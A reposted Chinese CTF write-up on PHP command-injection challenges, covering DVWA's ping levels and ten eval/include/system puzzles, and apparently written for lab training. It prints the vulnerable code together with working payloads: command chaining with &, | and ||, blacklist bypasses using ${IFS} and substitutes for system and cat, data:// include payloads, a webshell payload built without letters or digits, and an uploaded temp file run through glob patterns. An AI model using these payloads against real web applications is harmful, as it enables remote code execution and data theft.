ctf命令執行(總結)


一、ctf-ping命令執行 

這類題我拿DVWA中的Low,Medium,High來舉例。

0.介紹一下 &,&&,|,||

  A&B: 順序執行多條命令,而不管命令是否執行成功

  A&&B: 順序執行多條命令,當碰到執行出錯的命令后將不執行后面的命令

  A|B: 管道命令,如:dir *.* /s/a | find /c \".exe\" 表示:先執行 dir 命令,對其輸出的結果執行后面的 find 命令

  A||B: 順序執行多條命令,當碰到執行正確的命令后將不執行后面的命令

1.Low

 1 <?php
 2 
 3 if( isset( $_POST[ 'Submit' ]  ) ) {
 4     // Get input
 5     $target = $_REQUEST[ 'ip' ];
 6 
 7     // Determine OS and execute the ping command.
 8     if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
 9         // Windows
10         $cmd = shell_exec( 'ping  ' . $target );
11     }
12     else {
13         // *nix
14         $cmd = shell_exec( 'ping  -c 4 ' . $target );
15     }
16 
17     // Feedback for the end user
18     $html .= "<pre>{$cmd}</pre>";
19 }
20 
21 ?>

   stristr() 函數搜索字符串在另一字符串中的第一次出現,不區分大小寫

  php_uname(參數) 返回了運行 PHP 的操作系統的描述。

  參數:'a':此為默認。 's':操作系統名稱。 'n':主機名。 'r':版本名稱。 'v':版本信息。 'm':機器類型。

  該題基本未進行任何過濾。

  命令執行漏洞利用(其中'&&'可進行替換):

    127.0.0.1 && dir    文件路徑

    127.0.0.1 && ipconfig  網卡

    127.0.0.1 && arp -a    arp表

    127.0.0.1 && regedit   注冊表

    127.0.0.1 && netstat -ano    端口信息

2.Medium

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}

?>

  str_replace ( mixed $search , mixed $replace , mixed $subject , int &$count = ? ) : mixed

  Search: 查找的目標值,也就是 needle。一個數組可以指定多個目標。

  Replace:  search 的替換值。一個數組可以被用來指定多重替換。

  Subject: 執行替換的數組或者字符串。也就是 haystack。如果 subject 是一個數組,替換操作將遍歷整個 subject,返回值也將是一個數組。

  Count: 如果被指定,它的值將被設置為替換發生的次數。

  $target = str_replace( array_keys( $substitutions ), $substitutions, $target );//過濾了&&、;

  加入了黑名單機制過濾了&&;,但是沒有過濾掉&、|||所以依舊有漏洞存在

  命令執行漏洞利用:

    1.可以用|、&、||等符號連接兩條命令。

    2.可以運用&&&、&;&連接兩條命令。

    127.0.0.1 | dir

    127.0.0.1 || dir

    127.0.0.1 &&& dir

    127.0.0.1 &;& dir

    127.0.0.1 & dir

3.High

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}

?>

   相較於medium級別,進一步完善了黑名單,過濾了'&' ,';','|  ','-','$','(',')','`','||'等字符,其中'|  '后,有空格。

  命令執行漏洞利用:沒有過濾’|’:127.0.0.1 |dir

二、無輸入框命令執行

我用10道題來進行分析(flag文件均在根目錄下)

1.web1

<?php
    
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

   過濾了flag,所以我們可以利用*(*代表任意字符(0個或多個))來進行繞過

  /?c=system('ls /');(顯示根目錄下的文件夾列表)

  

  /?c=system('cat /f*');

  

2.web2

 1 <?php
 2 
 3 error_reporting(0);
 4 if(isset($_GET['c'])){
 5     $c = $_GET['c'];
 6     if(!preg_match("/flag|system|php/i", $c)){
 7         eval($c);
 8     }
 9     
10 }else{
11     highlight_file(__FILE__);
12 }

   在web1的基礎上新過濾了system和php,我們可以利用其他函數替代system()

1 system()
2 passthru()
3 exec()
4 shell_exec()
5 popen()
6 proc_open()
7 pcntl_exec()
8 反引號 同shell_exec()   
例如:?c=passthru("cat%20/f*");

 

  

3.web3

 1  <?php
 2 
 3 error_reporting(0);
 4 if(isset($_GET['c'])){
 5     $c = $_GET['c'];
 6     if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
 7         eval($c);
 8     }
 9     
10 }else{
11     highlight_file(__FILE__);
12 } 

   在web2的基礎上過濾了cat、sort、shell、'.'、空格、單引號。

  空格繞過

1 ${IFS}
2 $IFS$9
3 {cat,flag.php} //用逗號實現了空格功能
4 %20
5 %09

   cat繞過 

 1 more:一頁一頁的顯示檔案內容
 2 less:與 more 類似
 3 head:查看頭幾行
 4 tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
 5 tail:查看尾幾行
 6 nl:顯示的時候,順便輸出行號
 7 od:以二進制的方式讀取檔案內容
 8 vi:一種編輯器,這個也可以查看
 9 vim:一種編輯器,這個也可以查看
10 sort:可以查看
11 uniq:可以查看
12 file -f:報錯出具體內容
1 ?c=passthru("more%09/f*");

  

4.web4 

 1  <?php
 2 
 3 error_reporting(0);
 4 if(isset($_GET['c'])){
 5     $c = $_GET['c'];
 6     if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
 7         eval($c);
 8     }
 9     
10 }else{
11     highlight_file(__FILE__);
12 } 

 過濾了分號和括號。使用偽協議實現命令執行(詳細可以查看https://blog.csdn.net/qq_41617034/article/details/90381572)。

 

 

 5.web

 1 <?php
 2 
 3 //flag in /flag
 4 //error_reporting(0);
 5 if(isset($_GET['c'])){
 6     $c = $_GET['c'];
 7     if(!preg_match("/flag/i", $c)){
 8         include($c);
 9         // echo $flag;
10     }
11         
12 }else{
13     highlight_file(__FILE__);
14 } 

 

 

 

  這里用到了include包含還過濾了flag,所以php://filter 就用不了。我們用data://協議

 

  data://,可以讓用戶來控制輸入流,當它與包含函數結合時,用戶輸入的data://流會被當作php文件執行

 

1 列子:?c=data://text/plain,<?php system('cat /f*');?>

 

 

 

 

 6.web6

<?php

// flag in /flag

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        // echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

 

 

 

  與web5相比較過濾了php所以我們利用base64繞過。

 

1 例子:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7

 

 

 

  

 

7.web7

 1 <?php
 2 
 3 
 4 if(isset($_GET['c'])){
 5     $c = $_GET['c'];
 6     if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\錛坾\錛墊\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
 7         eval($c);
 8     }
 9         
10 }else{
11     highlight_file(__FILE__);
12 }

 

 

   這題用到的知識點是 php無參數函數構造(可以參考https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E6%B3%95%E5%9B%9B%EF%BC%9Asession-id

  

 

 

 8.web8

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

 

 

  解釋>/dev/null 2>&1:

 

分解這個組合:“>/dev/null 2>&1” 為五部分。

1:> 代表重定向到哪里,例如:echo "123" > /home/123.txt
2:/dev/null 代表空設備文件
3:2> 表示stderr標准錯誤
4:& 表示等同於的意思,2>&1,表示2的輸出重定向等同於1
5:1 表示stdout標准輸出,系統默認值是1,所以">/dev/null"等同於 "1>/dev/null"

 

 

 

  所以我們只需要輸入cat /flag||就可以

  

9.web9

 

 

 過濾了字母和數字,只能利用一些特殊字符,同時也不能上傳文件。(可參考https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

?shell=$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
//2=system("cat /flag");

 

 

 

 

 

 10.web10

 

 

 1 <?php
 2 
 3 
 4 if(isset($_GET['c'])){
 5     $c=$_GET['c'];
 6     if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
 7         system($c);
 8     }
 9 }else{
10     highlight_file(__FILE__);
11 }

 

 

 

  利用網頁上傳文件。

  .或者叫period,它的作用和source一樣,就是用當前的shell執行一個文件中的命令。比如,當前運行的shell是bash,則. file的意思就是用bash執行file文件中的命令。用. file執行文件,是不需

file有x權限的。那么,如果目標服務器上有一個我們可控的文件,那不就可以利用.來執行它了嗎?

  這個文件也很好得到,我們可以發送一個上傳文件的POST包,此時PHP會將我們上傳的文件保存在臨時文件夾下,默認的文件名是/tmp/phpXXXXXX,文件名最后6個字符是隨機的大小寫字母。但是執行.

/tmp/phpXXXXXX,也是有字母的。

  Linux下的glob通配符:

  *可以代替0個及以上任意字符

  ?可以代表1個任意字符

  則/tmp/phpXXXXXX就可以表示為/*/?????????或/???/?????????,但是因為能夠匹配上/???/?????????這個通配符的文件有很多,而且由於前面的文件執行錯誤,導致后面的文件無法執行。我們可以對文件進行一一排除讓我們需要的文件進行執行。

  glob支持用[^x]的方法來構造“這個位置不是字符x”。

  glob支持利用[0-9]來表示一個范圍。(我們可以利用[@-[]來表示大寫字母)

  傳入的code為?><?=. /???/????????[@-[];?>綠色部分根據自己實際情況進行更改

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <meta name="viewport" content="width=device-width, initial-scale=1.0">
 6     <title>POST數據包POC</title>
 7 </head>
 8 <body>
 9 <form action="http://49.232.149.138:10028/" method="post" enctype="multipart/form-data">
10     <label for="file">文件名:</label>
11     <input type="file" name="file" id="file"><br>
12     <input type="submit" name="submit" value="提交">
13 </form>
14 </body>
15 </html>

 

  提交一個文件

 

#!/bin/sh
ls

 

 

 

  利用burpsuit進行抓包,利用命令輸出flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM